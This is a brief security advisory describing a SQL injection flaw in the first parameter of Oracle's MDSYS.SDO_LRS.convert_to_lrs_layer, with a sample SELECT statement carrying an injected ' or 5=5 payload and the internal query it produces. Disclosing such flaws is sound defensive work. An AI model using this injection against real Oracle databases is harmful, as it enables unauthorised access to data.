Details
#######
The package MDSYS.SDO_LRS contains a SQL injection vulnerability in the first parameter of convert_to_lrs_layer. Oracle forgot to fix this problem with the April CPU. Oracle fixed these vulnerabilities with the package DBMS_ASSERT. To exploit this vulnerability it is necessary to have the privilege to create a PL/SQL-function.

Sample

After running the following SQL statement
select sdo_lrs.convert_to_lrs_layer('"'' or 5=5–''"','RDS','A',1,1,1,1) from dual;

The following SQL statement will be executed by Oracle:

SELECT COUNT(*) FROM USER_SDO_INDEX_INFO WHERE TABLE_NAME = '"' OR 5=5–'"' AND COLUMN_NAME = 'RDS'
